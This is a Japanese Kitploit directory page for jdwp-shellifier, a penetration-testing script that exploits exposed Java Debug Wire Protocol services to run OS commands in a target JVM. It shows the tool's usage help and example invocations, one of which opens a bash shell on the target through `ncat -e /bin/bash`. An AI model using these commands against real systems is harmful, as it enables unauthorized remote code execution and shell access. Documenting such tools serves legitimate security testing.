Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
jdwp-shellifier — 露出した Java Debug Wire Protocol (JDWP) サービスに対する悪用スクリプトで、ペンテスターがJavaコードを注入し、対象のJVM上で任意のOSコマンドを実行できるようにします。 | Kitploit
ツール/GitHubGitHub/ioactive/jdwp-shellifier
エクスプロイトデバッガペネトレーションテスト設定ミス
GitHubioactive/jdwp-shellifier

jdwp-shellifier

露出した Java Debug Wire Protocol (JDWP) サービスに対する悪用スクリプトで、ペンテスターがJavaコードを注入し、対象のJVM上で任意のOSコマンドを実行できるようにします。

リポジトリを見る
9172892年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

JDWP エクスプロイトスクリプト

これは何ですか ?

このエクスプロイトスクリプトは、ペネトレーションテスターがアクティブな JDWP サービスに対して使用し、リモートコード実行を達成することを目的としています。

どのように動作しますか ?

ごく標準的な方法で、このスクリプトには Python 2 インタプリタが必要なだけです。

root@kitploit:~
% python ./jdwp-shellifier.py -h
usage: jdwp-shellifier.py [-h] -t IP [-p PORT] [--break-on JAVA_METHOD]
                      [--cmd COMMAND]

Universal exploitation script for JDWP by @_hugsy_

optional arguments:
-h, --help            show this help message and exit
-t IP, --target IP    Remote target IP (default: None)
-p PORT, --port PORT  Remote target port (default: 8000)
--break-on JAVA_METHOD
Specify full path to method to break on (default:
	java.net.ServerSocket.accept)
	--cmd COMMAND         Specify full path to method to break on (default:
		None)

特定のホスト/ポートをターゲットにするには:

root@kitploit:~
$ python ./jdwp-shellifier.py -t my.target.ip -p 1234

このコマンドは、JVM に Java コードを注入し、オペレーティングシステムや Java バージョンなどの情報を表示するだけです。外部のコードやバイナリを実行しないため、完全に安全で、Proof-Of-Concept として使用できます。

root@kitploit:~
$ python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "ncat -v -l -p 1234 -e /bin/bash"

このコマンドは、実行中の JVM に与えられた権限で、指定された引数を指定して ncat プロセスを実際に実行します。

質問を送る前に、JDWP プロトコルを完全に理解するために http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html を必ずお読みください。

謝辞

  • Ilja Van Sprundel
  • Sebastien Macke
ツールをダウンロード